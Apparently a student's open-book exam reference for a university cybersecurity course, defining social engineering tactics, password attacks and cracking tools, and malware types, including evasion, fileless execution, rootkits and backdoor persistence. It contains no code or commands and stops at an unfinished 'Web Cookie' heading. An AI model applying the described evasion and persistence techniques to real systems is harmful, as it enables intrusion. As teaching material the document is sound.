

■ SOCIAL ENGINEERING

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

■ Social Engineering

Social engineering is the psychological manipulation of individuals to bypass technical security controls.

Rather than exploiting software vulnerabilities, it exploits human trust, authority bias, urgency, and cognitive shortcuts.

It is often the most effective initial access vector because humans represent the weakest and least predictable component of any security system.

Attackers rely on reconnaissance, behavioural profiling, and contextual framing to craft believable scenarios.

Unlike brute force or exploitation, success depends on persuasion rather than computation.

Connection: Often used as initial access before Pivoting, Credential Harvesting, or Session Hijacking.

■ Phishing

Phishing is a deceptive communication technique typically delivered via email, designed to trick victims into revealing sensitive information or executing malicious actions.

Messages often impersonate trusted entities and create urgency or fear to bypass rational evaluation.

Connection: Foundation for Spear Phishing, Whaling, Smishing, and Vishing.

■ Spear Phishing

Spear phishing is a targeted phishing attack tailored to a specific individual or organisation.

It uses contextual information (name, role, company data) to increase credibility.

Connection: Requires reconnaissance; often precedes high-value compromise or pivoting.

■ Whaling / CEO Fraud

Whaling targets high-level executives or impersonates them.

CEO fraud typically involves impersonating leadership to authorise financial transfers.

Connection: Exploits authority bias and organisational hierarchy.

■ Smishing

Smishing delivers phishing via SMS messages.
Short format and mobile context reduce scrutiny and increase click likelihood.

■ Vishing

Vishing uses voice calls to manipulate victims.
Attackers may spoof caller ID and impersonate banks or IT support.

■ Credential Harvesting

Credential harvesting collects usernames and passwords via fake login pages or deceptive prompts.
Often embedded in phishing campaigns.

■ Baiting

Baiting offers something enticing (free USB, download, etc.) to lure victims into compromising actions.

■ Evil USB

Evil USB involves planting malicious USB devices that execute payloads when inserted.
Exploits curiosity and lack of physical security controls.

■ Waterholing

Watering hole attacks compromise websites frequently visited by a target group, infecting users indirectly.

■ WiFi Spoofing

WiFi spoofing creates fake access points to intercept traffic or capture credentials.

■ Dumpster Diving

Dumpster diving extracts sensitive information from discarded materials.

■ Tailgating / Piggybacking

Tailgating involves following authorised personnel into restricted areas without authentication.

■ Shoulder Surfing

Observing someone entering credentials or viewing sensitive information directly.

■ Impersonation

Pretending to be a trusted entity (IT staff, manager, vendor) to gain access.

■ Pretext

A fabricated scenario used to justify requests for information or access.

■ Rapport

Building trust with a victim to lower suspicion and increase compliance.

■ Pivoting

Using a compromised victim or system as a stepping stone to access further systems.

■ Explicit Target

A specifically selected victim based on value or access level.

■ Opportunistic Target

A random or easily accessible victim chosen without prior targeting.

■ Hybrid Approach

Combination of targeted and opportunistic strategies.

■ Social Engineering Toolkit (SET)

SET is a penetration testing framework for simulating social engineering attacks, including phishing and credential harvesting.

■ Pharming

Redirecting users to malicious websites without their knowledge, often via DNS manipulation.

■ Session Hijacking

Taking over an active authenticated session to gain unauthorised access without credentials.

■ PASSWORD ATTACKS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

■ Brute Force

Brute force is the exhaustive, systematic enumeration of all possible credential combinations within a defined search space.

If a password is composed of N characters selected from a character set of size S , the theoretical keyspace equals S^N .

Security therefore depends not on hiding the attack method — which is universally known — but on ensuring that the keyspace is computationally infeasible to traverse within economically realistic constraints.

From a mathematical perspective, password security is an entropy problem. Increasing password length exponentially increases search complexity, whereas expanding character set increases complexity linearly relative to length. For example, an 8-character lowercase password (26^8) is vastly weaker than a 12-character mixed-set password (94^{12}). In practical cracking scenarios, however, human selection bias dramatically reduces effective entropy.

Operationally, brute force manifests in two primary contexts: offline and online. Offline brute force is constrained only by hardware performance and hash algorithm cost; modern GPUs can perform billions of SHA1 or MD5 guesses per second. Online brute force is constrained by network latency, rate limiting, and logging mechanisms.

WHY it matters: Brute force defines the worst-case adversarial model. Every authentication system must assume exhaustive guessing is possible and must be designed to render it infeasible.

Connection: Directly linked to entropy, hashing algorithms, Lockout Policy, MFA, Offline Guessing, Online Guessing, and the historical evolution from `crypt()` to `bcrypt` and `Argon2id`.

■ Dictionary Attack

A dictionary attack optimises brute force by exploiting predictable human password behaviour. Instead of enumerating all combinations, attackers test high-probability words derived from leaked databases, language corpora, keyboard patterns, and organisational naming conventions.

Empirical breach analysis consistently shows that real-world passwords follow Zipf-like distributions: a small subset of

passwords accounts for a disproportionate number of users. This makes dictionary attacks dramatically more efficient than uniform brute force.

Modern wordlists integrate statistical ranking and frequency analysis derived from prior compromises. Attackers may also generate custom dictionaries using OSINT, corporate terminology, or harvested personal information.

WHY it matters: Real-world compromise rarely requires exhaustive enumeration; human predictability collapses entropy.

Connection: Often extended via Rule-Based Mutation. Forms the basis for Credential Stuffing and informs Password Spraying strategies.

■ Rule-Based Mutation

Rule-based mutation applies transformation rules to dictionary entries to approximate common user modifications.

These include character substitution (a→@, e→3), appending years, capitalisation shifts, repetition, or concatenation of predictable patterns.

The innovation of mutation engines in Crack 4.x and later John the Ripper represented a turning point in password cracking methodology — recognising that users attempt to satisfy policy complexity requirements while retaining memorability.

Rather than increasing brute force keyspace exponentially, mutation increases probability-weighted coverage strategically, targeting the most likely human constructions.

WHY it matters: Complexity policies without entropy enforcement are bypassed by predictable mutation patterns.

Connection: Bridges dictionary optimisation and incremental brute force; implemented in John the Ripper rule engines.

■ Offline Guessing / Local Guessing

Offline guessing occurs after an attacker acquires password hashes (e.g., database dump, /etc/shadow, SAM).

The attacker can attempt unlimited guesses without triggering detection mechanisms such as lockout or IDS.

In this model, defensive security rests entirely on password hashing design. Fast hash functions (MD5, SHA1, legacy crypt()) are catastrophically weak under GPU acceleration. Memory-hard algorithms (bcrypt, scrypt, Argon2id) intentionally increase computational and memory cost to raise economic barriers to brute force.

Salting prevents precomputed rainbow table reuse, while adaptive cost parameters allow future-proofing against hardware advances.

WHY it matters: Once hashes are stolen, authentication controls are irrelevant. Password storage design becomes the sole defense.

Connection: Demonstrates necessity of modern hashing standards; directly related to Crack, John the Ripper, and crypt() history.

■ Online Guessing / Remote Guessing

Online guessing targets live authentication services (SSH, RDP, FTP, HTTP login forms, Telnet).

Each attempt traverses the network and interacts with server-side controls.

Online brute force is slower but pervasive. Attackers modulate attempt rates, distribute attempts across botnets, or exploit weak lockout thresholds. Logs may reveal patterns such as repeated failed SSH attempts on port 22.

Defenders rely on rate limiting, CAPTCHA, lockout policies, anomaly detection, and MFA to mitigate exposure.

WHY it matters: Exposed services without layered controls are continuously targeted in the wild.

Connection: Hydra and Crowbar automate these attacks; Password Spraying is a lockout-avoidance variant.

■ Password Spraying

Password spraying tests one or a small set of common passwords across many accounts. This avoids triggering per-account lockout thresholds while exploiting weak organisational defaults.

Common enterprise patterns include Season+Year formats or onboarding default passwords.

Spraying is especially effective after Account Enumeration confirms valid usernames.

WHY it matters: Demonstrates systemic weakness in homogeneous password culture.

Connection: Designed specifically to bypass Lockout Policy; often targets Active Directory environments.

■ Credential Stuffing

Credential stuffing reuses breached username/password pairs from unrelated services to gain access.

It exploits password reuse rather than entropy weakness.

Large-scale automated botnets validate credentials against login APIs. Because credentials are already correct for at least one service, success rates can be significant where reuse exists.

WHY it matters: Password reuse extends breach impact across platforms.

Connection: MFA and password uniqueness policies are primary mitigations.

■ Account Enumeration

Account enumeration identifies valid usernames through differential responses, timing variations, or side channels.

Even minor discrepancies (e.g., “user not found” vs “incorrect password”) can reveal identity validity.

Reducing attack search space from unknown identities to confirmed targets dramatically improves efficiency.

WHY it matters: Enumeration amplifies effectiveness of brute force, spraying, and phishing.

Connection: Best mitigated through uniform responses and constant-time authentication mechanisms.

■ John the Ripper

John the Ripper is an offline password auditing tool supporting extensive hash formats. It integrates dictionary, mutation, incremental brute force, and hybrid strategies.

Originally developed as successor to Crack, it reflects the historical evolution of password cracking from simple wordlists to sophisticated probabilistic modelling.

WHY it matters: Demonstrates feasibility of offline attacks in lab and real-world breach contexts.

Connection: Operationalises Offline Guessing; leverages rule-based mutation extensively.

■ Hydra

Hydra is a parallelised online login cracking tool supporting SSH, FTP, HTTP, SMB, and more.

It distributes login attempts efficiently and supports protocol-specific optimisation.

WHY it matters: Represents automated exploitation of exposed services lacking adequate defenses.

Connection: Mitigated by Lockout Policy, MFA, and SIEM monitoring.

■ Crowbar

Crowbar specialises in brute forcing RDP, SSH private keys, VNC, and OpenVPN credentials.

It highlights the risk of exposed remote administration interfaces without layered controls.

WHY it matters: Administrative services are high-value targets.

Connection: Used in penetration testing labs to demonstrate RDP brute force risk.

■ crypt() (old Unix hash function)

crypt() is an early Unix password hashing function based on DES.

Its computational speed, acceptable in early computing environments, renders it vulnerable under modern GPU acceleration.

Its weaknesses drove the evolution toward adaptive, memory-hard password hashing schemes.

WHY it matters: Illustrates why fast hashing is insecure for password storage.

Connection: Historical precursor to Crack and modern cracking methodologies.

■ Crack 3.2a / 4.x

Crack was an early Unix password auditing tool introducing rule-based mutation engines. It demonstrated that predictable user behaviour undermines password complexity rules.

WHY it matters: Marks the beginning of systematic password auditing evolution.

Connection: Direct predecessor to John the Ripper.

■ MFA (Multi-Factor Authentication)

MFA requires multiple independent authentication factors (knowledge, possession, inherence).

Even if passwords are compromised via brute force or stuffing, access requires an additional factor.

WHY it matters: Most effective defense against password-based compromise.

Connection: Core mitigation across brute force, spraying, and stuffing scenarios.

■ Lockout Policy

Lockout Policy disables accounts after a defined number of failed attempts within a time window.

While effective against rapid online brute force, it can introduce denial-of-service vectors if abused.

WHY it matters: Demonstrates security-availability tradeoff in authentication policy design.

Connection: Password Spraying exists to evade naive lockout thresholds.

■ IoT (Internet of Things) brute force risk

IoT devices often ship with default credentials, exposed Telnet services, and no lockout controls.

This creates ideal conditions for automated large-scale brute force campaigns.

Botnets such as Mirai exploited default Telnet credentials to compromise massive IoT populations.

WHY it matters: IoT expands global attack surface dramatically.

Connection: Frequently targets Telnet protocol weaknesses.

■ Telnet (97.91% of IoT attacks targeted it)

Telnet is an unencrypted remote login protocol transmitting credentials in plaintext.

Its continued use in embedded systems presents severe confidentiality and integrity risks.

The majority of historical IoT malware campaigns targeted exposed Telnet due to weak defaults and absence of encryption.

WHY it matters: Telnet embodies systemic failure in embedded authentication design.

Connection: Replaced by SSH in secure environments; remains common in poorly maintained IoT devices.

■ MALWARE

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Malware

Malware (malicious software) is any software intentionally designed to disrupt, damage, gain unauthorised access to, or perform actions on a system without the owner's informed consent. It is an umbrella term covering all subcategories: viruses, worms, trojans, ransomware, spyware, rootkits, keyloggers, backdoors, and more. The defining characteristic is malicious intent — the software does something the legitimate user would not authorise if they understood what it was doing.

WHY it matters: Malware is the primary technical tool of attackers across every category — from opportunistic script kiddies running off-the-shelf tools to nation-state APTs deploying custom implants. Understanding malware types, delivery vectors, detection methods, and evasion techniques is foundational to both offensive (red team) and defensive (blue team) security work.

Malware can violate all three CIA goals: Confidentiality (spyware, keyloggers steal data), Integrity (viruses modify files, ransomware encrypts them), and Availability (ransomware, wipers, DDoS bots deny access). A single malware sample often violates multiple goals simultaneously.

Connection: Malware analysis tools include Ghidra (reverse engineering), theZoo and MalwareBazaar (safe repositories for analysis samples). Detection approaches — signature-based, heuristic, and behavioural — each address different aspects of the malware evasion problem. Metasploit payloads and MSFvenom-generated executables are functional malware in the context of authorised penetration testing. The MITRE ATT&CK framework catalogues real-world malware behaviours under Execution, Persistence, Defence Evasion, and other tactics.

Virus

A computer virus is malware that attaches itself to or inserts its own code into a legitimate host file or program, and requires that host file to be executed in order to activate and spread. Like a biological virus, it cannot replicate on its own — it needs a host. When the infected file is executed, the virus code runs, typically infecting additional files on the same system and potentially spreading to other systems via shared media, email attachments, or network shares.

WHY it matters: Viruses were the dominant malware form in the PC era (1980s–2000s), spread primarily via floppy disks and later email attachments. Understanding the virus model explains the design of antivirus scanning (looking for known signatures in files) and why executable files from unknown sources are dangerous.

A virus has two core behaviours: infection (attaching to new host files) and payload execution (performing the malicious action — displaying a message, deleting files, encrypting data, opening a backdoor). Some viruses are purely self-replicating with no destructive payload; others are highly destructive.

Connection: Viruses require user action to spread — someone must execute the infected file. This distinguishes them from worms (which spread autonomously). Macro viruses are a subtype infecting document files rather than executables. Multi-partite viruses infect multiple types of targets. Polymorphic viruses modify their own code to evade signature-based detection. Antivirus software scans files for known virus signatures before execution.

Worm

A worm is self-replicating malware that spreads autonomously across networks without requiring a host file or any user interaction. It exploits vulnerabilities in network services, operating systems, or applications to copy itself to new systems and execute. Once running on a new host, it immediately begins scanning for further targets.

WHY it matters: Worms spread exponentially and can compromise thousands of systems in minutes. WannaCry used EternalBlue (CVE-2017-0144) to spread as a worm across SMB networks, infecting ~230,000 systems in 150 countries within hours. The Morris Worm (1988) demonstrated the catastrophic potential of autonomous propagation on what was then a small internet. The key danger of worms is that no user action is required — simply having a vulnerable, network-connected system is sufficient.

The key distinction from a virus: a virus needs a host file and user execution; a worm is standalone and self-propagating. WannaCry combined a worm (for propagation via EternalBlue) with ransomware (for monetisation) — a common modern hybrid pattern.

Connection: Worm propagation is why patching urgency is so high when a network-exploitable vulnerability (CVSS Attack Vector: Network) gets a public exploit. SYN cookies and rate limiting slow worm propagation by limiting connection rates. The Morris Worm is the historical origin case. EternalBlue/WannaCry is the modern canonical worm example. Worms directly threaten Availability at scale.

Macro Virus

A macro virus is a virus written in a macro language (most commonly VBA — Visual Basic for Applications) embedded inside a document file such as a Microsoft Word document, Excel spreadsheet, or PowerPoint presentation. When the document is opened and macros are enabled, the virus executes. Macro viruses can spread by infecting other document files and can be delivered as email attachments.

WHY it matters: Macro viruses exploit the trust users place in documents received from colleagues or organisations. A Word document arriving via email looks legitimate and familiar — far less suspicious than an executable file. Macro viruses were the dominant malware delivery mechanism in the late 1990s (Melissa virus, 1999) and have resurged as a primary initial access technique because modern attackers use them for Staged Delivery — the macro downloads and executes the actual payload (Meterpreter, ransomware, etc.) from the internet.

Modern Office applications disable macros by default and prompt the user to enable them. Attackers use social engineering to convince users to click "Enable Content" — fake invoice notifications, HR policy documents, shipping confirmations. Microsoft's 2022 decision to block macros in files downloaded from the internet (Mark of the Web) was a major defensive step.

Connection: Staged Delivery (macro → download actual payload) is a direct application of macro viruses as a delivery mechanism. This is in the course word list as its own term. Macro viruses are a Vector (delivery route) for more capable payloads. MSFvenom can generate macro-embedded payloads. Heuristic and behavioural detection are more effective against macro-delivered payloads than pure signature detection.

Multi-Partite Virus / Malware

A multi-partite virus (or multi-partite malware) is malware that uses multiple infection or propagation mechanisms simultaneously — for example, infecting both executable files and the

boot sector of a disk, or spreading via both file infection and network exploitation. It combines two or more attack vectors or infection strategies in a single piece of malware.

WHY it matters: Multi-partite malware is harder to fully remove because eliminating one infection vector (cleaning infected files) does not remove the other (boot sector infection). It is also harder to detect because different components may trigger different detection signatures. Modern malware frequently combines techniques: a worm component for propagation, a trojan component for persistence, and a ransomware component for impact — making it effectively multi-partite in strategy even if not in the classical sense.

The classical example is a virus that infects both the master boot record (so it loads before the OS, making removal difficult) and executable files on the filesystem (so it spreads via file sharing). Removing the file infections while missing the boot sector infection results in re-infection on the next boot.

Connection: Multi-partite design increases resilience against partial remediation — another reason why full reimaging rather than selective cleaning is often the correct Restore Operations approach for deeply compromised systems. The concept connects to Defence Evasion in MITRE ATT&CK, where malware uses multiple persistence mechanisms so that removing one does not eliminate the threat.

Armored Malware

Armored malware is malware that has been deliberately designed to resist analysis, reverse engineering, and detection. It employs techniques that make it difficult for security researchers and automated tools to understand its behaviour: anti-debugging code (detects when a debugger is attached and behaves differently or crashes), anti-disassembly tricks (confuses disassemblers with fake jump instructions or overlapping code), encrypted or obfuscated code bodies (the malicious payload is only decrypted at runtime), and VM/sandbox detection (refuses to execute in analysis environments).

WHY it matters: Armored malware significantly raises the cost of analysis. A security researcher who cannot easily analyse a sample cannot quickly write a detection signature or understand its full capability. This buys the attacker time — the malware continues operating undetected while analysts struggle to understand it. Advanced persistent threat (APT) malware is almost always armored.

Common armoring techniques: Encrypted payloads that decrypt only in memory. Anti-debugging via timing checks (execution takes longer under a debugger) or API calls that detect debugger presence (IsDebuggerPresent on Windows). Junk code insertion (meaningless instructions that slow analysis). Opaque predicates (jumps that always go the same way but look conditional to a disassembler). Sandbox detection via checking for VM artefacts (registry keys, MAC address prefixes, file paths characteristic of VirtualBox/VMware).

Connection: Ghidra (NSA reverse engineering tool) is used to analyse armored malware by disassembling and decompiling the binary. The checkvm post-exploitation module in Metasploit performs the attacker-side equivalent of VM detection. Behavioural detection is more robust against armored malware than signature detection because the malware must eventually execute its actual payload, regardless of how well it is armored.

Memory-Resident Malware

Memory-resident malware (also called fileless malware) is malware that executes entirely or primarily in RAM, leaving no (or minimal) files on disk. It may be injected into a legitimate running

process, loaded via a reflective DLL injection, or executed directly from a malicious document or web exploit without ever writing a traditional executable file to the filesystem.

WHY it matters: Traditional antivirus and endpoint protection products scan files on disk. Memory-resident malware has no file on disk to scan — it exists only in volatile memory and disappears when the system is rebooted. This makes it nearly invisible to file-based detection and very difficult to recover artefacts from post-incident. Meterpreter is a prominent example: it runs entirely in memory, writes no files to disk, and is designed specifically to evade file-based AV detection.

Persistence challenge: Because RAM is volatile, purely memory-resident malware does not survive a reboot. Sophisticated memory-resident malware therefore pairs in-memory execution with a small, minimal disk-based dropper or a registry-based persistence mechanism (living-off-the-land) that re-injects the payload after reboot without writing a large, detectable executable.

Connection: Meterpreter explicitly advertises running "entirely in memory" as a key feature, directly connecting this concept to the course labs. Behavioural detection and EDR memory scanning are the primary defences because they can detect malicious activity in running processes regardless of whether files are present. Memory forensics (capturing a RAM dump during incident response) is critical for detecting and analysing memory-resident malware.

Sparse Infector

A sparse infector is a virus that does not infect every possible host file it encounters. Instead, it infects only a subset — perhaps every tenth file, only files above or below a certain size, only files accessed on certain days, or only files that pass some other condition. The strategy is to reduce the rate of infection to delay detection.

WHY it matters: Antivirus detection in the early PC era was partly triggered by anomalous file modification activity — a virus modifying many files in rapid succession would raise flags. A sparse infector spreads more slowly and quietly, making it harder to notice the pattern of infections and harder to trace back to the source. It prioritises stealth over rapid propagation.

In modern terms, the sparse infector strategy maps directly onto the concept of low-and-slow attacks: move slowly enough that statistical detection thresholds (anomaly detection baselines) are not exceeded. Advanced malware applies the same logic — limiting activity rates, beaconing only occasionally, and avoiding bulk file operations that would be obvious in logs.

Connection: Sparse infectors are a form of evasion through rate limitation, conceptually related to Nmap's slow timing templates (T0/T1) which spread scan probes over time to evade IDS correlation windows. Anomaly detection is theoretically the right counter (any infection rate, however slow, is anomalous), but sufficiently sparse activity may fall below the noise floor of the baseline.

Polymorphic Malware

Polymorphic malware is malware that automatically mutates its own code with each new infection or execution cycle, changing its binary signature while preserving its functional behaviour. It typically uses an encrypted payload combined with a mutation engine (decryptor stub) that rewrites itself differently each time — producing a functionally identical but byte-sequence-different copy.

WHY it matters: Signature-based antivirus detection identifies malware by matching known byte patterns (signatures) against files. If the signature changes with every copy, no static signature can match all variants. Polymorphic malware was specifically designed to defeat the signature-based detection model that dominated antivirus in the 1990s. Metamorphic malware (an advanced variant) goes further — it rewrites not just the decryptor but the entire code body, using different instructions that produce the same logical outcome.

How it works: The malware body is encrypted. The decryptor stub (small piece of code that decrypts and executes the payload) mutates each time — it uses different registers, different instruction orderings, inserts junk instructions, while still correctly decrypting and running the payload. Each copy has a different decryptor and therefore a different file hash and byte sequence.

Connection: Polymorphism is the primary reason heuristic and behavioural detection were developed — signature detection alone is insufficient against polymorphic threats. Encoders in Metasploit (e.g., `shikata_ga_nai`) perform a simplified version of polymorphic encoding, changing the payload's byte representation to evade AV signatures. Modern EDR uses behavioural detection precisely because polymorphic malware defeats static signatures.

Trojan Horse

A Trojan Horse (or simply Trojan) is malware disguised as or bundled inside a legitimate, desirable piece of software. Unlike a virus, it does not self-replicate; unlike a worm, it requires the user to install or execute it. The deception is the defining characteristic — the user believes they are installing something useful (a game, a utility, a software crack, a codec) while the malware silently installs alongside or instead of the advertised functionality.

WHY it matters: Trojans exploit user trust. They are one of the most effective delivery mechanisms for malware precisely because the user voluntarily executes them. Social engineering is the enabling factor — convincing the user that the file is safe and desirable. Once executed, a Trojan can install a backdoor, a keylogger, ransomware, or any other payload. Remote Access Trojans (RATs) give the attacker persistent, covert remote control of the victim's machine.

Examples: A pirated software installer that also installs a keylogger. A fake system optimisation tool that is actually spyware. The vsFTPD 2.3.4 backdoor was introduced via a supply-chain attack — the legitimate software distribution was compromised, making every download a trojanised binary.

Connection: The Wrapper concept (EliteWrap) is the technical mechanism for creating Trojans — binding a malicious payload with a legitimate executable. Rogue Software / FakeAV (MacDefender) is a Trojan variant that masquerades as security software. The AIDS Trojan (1989) was delivered via floppy disk disguised as an AIDS information program. MSFvenom-generated EXE payloads are Trojans when delivered via social engineering.

Wrapper (e.g., EliteWrap)

A wrapper is a tool that binds or packages a malicious payload together with a legitimate executable file into a single combined file. When the user runs the combined file, both the legitimate program and the malicious payload execute — the user sees the expected behaviour of the legitimate program while the malware installs silently in the background. EliteWrap is a classic example of a wrapper tool from the early 2000s.

WHY it matters: Wrappers are the practical tool for creating convincing Trojans. Without a wrapper, a malicious EXE alone is suspicious — why would a legitimate company distribute a raw executable with no interface? Binding the malware with a real, functional program (a game, a screensaver, a utility) makes the combined file plausible and reduces user suspicion. The victim gets what they expected plus what the attacker wanted to deliver.

How it works technically: The wrapper tool reads both the legitimate executable and the malicious payload, and outputs a combined binary. When run, the combined binary extracts both components (often to the temp directory), executes both, and the user sees only the legitimate program's output. More sophisticated wrappers use resource sections or embedded data within a PE file rather than sequential execution.

Connection: Wrappers operationalise the Trojan Horse delivery model. MSFvenom's ability to generate EXE payloads that can be embedded in legitimate-looking files serves the same purpose in a modern penetration testing context. Detecting wrapper-created Trojans is a challenge for signature-based AV (the outer file may look legitimate) but detectable by behavioural analysis (the legitimate program spawning unexpected child processes or making unexpected network connections).

Payload (malware context)

In the malware context, the payload is the component of malware that performs the actual malicious action — the "what it does" part, as distinct from the delivery mechanism, propagation code, or evasion logic. A virus's payload might delete files; a ransomware payload encrypts files and displays a ransom note; a RAT payload opens a remote command channel; a keylogger payload captures keystrokes and exfiltrates them.

WHY it matters: Understanding the payload is what determines the impact and urgency of a malware infection. Two pieces of malware may use identical delivery vectors but have radically different payloads — one displays an annoying message (low impact), one exfiltrates all credentials and installs a persistent backdoor (critical impact). Incident classification and response urgency are largely determined by what the payload does.

Distinction from Metasploit payload: The term is used in both contexts with the same fundamental meaning — the payload is the capability delivered. In Metasploit, the payload is what executes on the target after exploitation (Meterpreter, reverse shell). In malware, the payload is the malicious action embedded in or downloaded by the malware. Staged Delivery (macro → download actual payload) separates the delivery mechanism from the payload entirely.

Connection: In Staged Delivery, the initial dropper (macro, downloader) is not the payload — it is the delivery mechanism. The payload is what gets downloaded and executed in the second stage. Ransomware, spyware, keyloggers, backdoors, and rootkits are all specific payload types. The Payload (malware context) term is explicitly distinguished from the Metasploit payload term in the course.

Vector (malware delivery route)

A vector in the malware context is the route or mechanism by which malware is delivered to and executed on a target system. Vectors are distinct from the malware itself — the same payload can be delivered via multiple vectors. Common vectors include: email attachments (phishing), malicious websites (drive-by downloads), infected USB drives (evil USB/baiting), network exploitation (worm propagation), supply-chain compromise (trojanised software), and social

engineering leading to manual installation.

WHY it matters: Understanding the delivery vector determines both the attack path and the appropriate defence. Blocking email attachments addresses phishing vectors; network segmentation and patching address worm vectors; USB port blocking addresses physical media vectors. A malware sample found on a system cannot be fully understood or defended against without identifying how it arrived — because the same vector may be used again.

The vector is the attacker's answer to "how do I get my payload onto the target system?" It maps directly to the Initial Access tactic in MITRE ATT&CK; (Phishing, Drive-by Compromise, Supply Chain Compromise, Exploit Public-Facing Application, etc.).

Connection: Attack Vector in CVSS has the same meaning — the path an attacker uses to reach the vulnerability (Network, Adjacent, Local, Physical). In malware analysis, vector identification is part of the Interpretation step of Incident Response. The Social Engineering section of the course covers the human-facing vectors (phishing, smishing, baiting, evil USB). Drive-by downloads and malvertising are browser-based vectors.

Ransomware

Ransomware is malware that encrypts the victim's files — or locks them out of their system entirely — and demands payment (typically in cryptocurrency) in exchange for the decryption key. It is fundamentally an Availability and Confidentiality attack with an extortion monetisation model. Modern ransomware operations are often double-extortion: encrypt the data AND threaten to publish it if the ransom is not paid.

WHY it matters: Ransomware is the most financially damaging category of malware in the current threat landscape. Hospitals, critical infrastructure, businesses, and governments have paid millions in ransoms or incurred far greater costs in recovery. WannaCry and NotPetya caused billions of dollars in damage globally. The combination of widespread impact, cryptocurrency payment anonymity, and Ransomware-as-a-Service (RaaS) platforms has made it the dominant threat to organisational Availability.

Key technical features: Asymmetric encryption is used for the key exchange — the malware generates a random symmetric key to encrypt files, then encrypts that symmetric key with the attacker's public key. The victim cannot recover the symmetric key without the attacker's private key, making decryption impossible without paying (or finding a flaw in the implementation).

Ransomware also targets backups — many variants specifically seek and delete Volume Shadow Copies (Windows backup snapshots) and attempt to reach network-connected backup systems.

Connection: WannaCry combined EternalBlue (MS17-010) worm propagation with a ransomware payload. NotPetya appeared to be ransomware but was actually a destructive wiper (the decryption was never functional). The AIDS Trojan (1989) was the first ransomware. CryptoLocker and CryptoWall are notable historical ransomware families. Backups (especially offline/immutable backups) are the primary defence. Ransomware directly violates Availability in the CIA Triad.

Spyware

Spyware is malware designed to covertly monitor and collect information about the victim — their activities, communications, credentials, browsing behaviour, keystrokes, screenshots, location, or files — and exfiltrate that data to the attacker without the victim's knowledge or consent. It operates silently, prioritising stealth over any destructive action.

WHY it matters: Spyware primarily attacks Confidentiality. It is the technical instrument of credential theft, corporate espionage, stalkerware/domestic abuse, and intelligence collection. Commercial spyware products (like eBlaster by Veriato, listed in the course) are marketed as parental monitoring or employee monitoring tools but are functionally identical to malicious spyware. The line between legitimate monitoring software and spyware is entirely one of consent and context.

Types of spyware: Credential stealers (harvest saved passwords, cookies, and session tokens from browsers). Keyloggers (record keystrokes to capture passwords as they are typed). Screen capture tools (take periodic screenshots). Communication interceptors (capture email, chat, VoIP). Adware (a milder form that tracks browsing to serve targeted ads). Stalkerware (designed for covert monitoring of intimate partners, often without consent).

Connection: Keyloggers are a spyware subtype covered separately. eBlaster by Veriato is explicitly listed as a "rootkit commercial example" in the course — illustrating that commercial monitoring tools use the same techniques as malicious spyware. GDPR has direct relevance: covert data collection without consent violates the lawfulness and transparency principles. Meterpreter's screenshot command and keylogger capability are spyware functions used in authorised penetration testing.

Rootkit

A rootkit is malware designed to achieve persistent, privileged access to a system while actively hiding its own presence — and the presence of other malware it supports — from the operating system, security tools, and the user. The name comes from "root" (the highest Unix privilege level) and "kit" (a set of tools). A rootkit modifies the OS or its interfaces to conceal processes, files, network connections, and registry keys from normal inspection.

WHY it matters: A rootkit turns the compromised system's own OS against the defender. Standard tools — task manager, file explorer, netstat, ls — can no longer be trusted because the rootkit intercepts their output and removes evidence of malicious activity. Detection and removal are significantly harder than for non-rootkit malware. Rootkits are the persistence mechanism of choice for advanced attackers who want long-term, covert access.

Types of rootkits: User-mode rootkits (run at application privilege, hook user-space APIs — easier to detect). Kernel-mode rootkits (run with full kernel privileges, hook the kernel itself — very hard to detect from within the OS). Bootkit (infects the bootloader/MBR, loads before the OS — survives OS reinstallation). Hypervisor rootkit (runs below the OS as a thin hypervisor — theoretically undetectable from within the OS). Firmware rootkit (stored in device firmware — survives disk wiping).

Connection: eBlaster by Veriato is listed as a commercial rootkit example. The post/windows/gather/checkvm module checks for VM artefacts because sophisticated attackers (and rootkits) perform the same checks before deploying their full capability. Detecting rootkits often requires booting from external trusted media and comparing the system from outside. Rootkits directly enable the persistence MITRE ATT&CK; tactic.

Backdoor

A backdoor is a covert, persistent access mechanism installed on a compromised system that allows the attacker to regain access at will, bypassing normal authentication. It may be a hidden user account, a listening network service, a modified legitimate service, a web shell, or any other mechanism that maintains unauthorised access after the initial exploitation.

WHY it matters: Exploitation is momentary — a vulnerability is triggered once. A backdoor converts that moment of access into persistent, ongoing access. Without a backdoor, the attacker loses access if the system is rebooted, the exploited service is restarted, or the vulnerability is patched. With a backdoor, the attacker retains access regardless of what the defender does to the legitimate attack path.

Examples from the course: The vsftpd 2.3.4 backdoor (CVE-2011-2523) — a maliciously inserted mechanism that opens a root shell on port 6200 when triggered. The Ingreslock backdoor on port 1524 on Metasploitable 2 — a hardcoded bind shell requiring no authentication. Crontab backdoors — a cron job that re-establishes a reverse shell periodically, surviving reboots. The authorized_keys backdoor — adding an attacker's SSH public key to a legitimate user's authorized_keys file for passwordless SSH access.

Connection: Cleanup in penetration testing ethics requires removing all backdoors after an engagement — a forgotten backdoor is a live vulnerability. Persistence is the MITRE ATT&CK; tactic that encompasses backdoor installation. Post-exploitation modules and Meterpreter sessions are temporary; installing a backdoor makes the access permanent. Rootkits are often used to hide the backdoor's presence.

Keylogger

A keylogger is malware (or hardware device) that records every keystroke typed by the user and either stores the log locally for later retrieval or exfiltrates it in real time to the attacker. Because passwords, PINs, credit card numbers, and sensitive communications are all entered via the keyboard, a keylogger captures them all regardless of encryption or HTTPS — the keylogger intercepts input before it is encrypted.

WHY it matters: Keyloggers defeat encryption at the point of input. HTTPS protects data in transit, but a keylogger captures the password before it is ever sent — making transport-layer security irrelevant. A single keylogger deployment on a high-value target (a system administrator, a financial officer, a CEO) can yield credentials for every system they access. Hardware keyloggers (physical devices plugged between keyboard and computer) are undetectable by software tools entirely.

Software keylogger mechanisms: API-level hooking (hooking Windows keyboard APIs to intercept input before it reaches applications). Kernel-level hooking (more privileged, harder to detect). Acoustic analysis (a research technique using microphone audio to infer keystrokes). Browser-based keyloggers (malicious JavaScript recording input in web forms).

Connection: Meterpreter includes a keyscan_start / keyscan_dump capability — a software keylogger as a post-exploitation module. This maps to the Credential Access tactic in MITRE ATT&CK.; Keyloggers are a subtype of spyware. Physical keyloggers are a Physical Security concern addressed by hardware access controls. eBlaster by Veriato (commercial monitoring software) includes keylogging as a feature.

Web Cookie

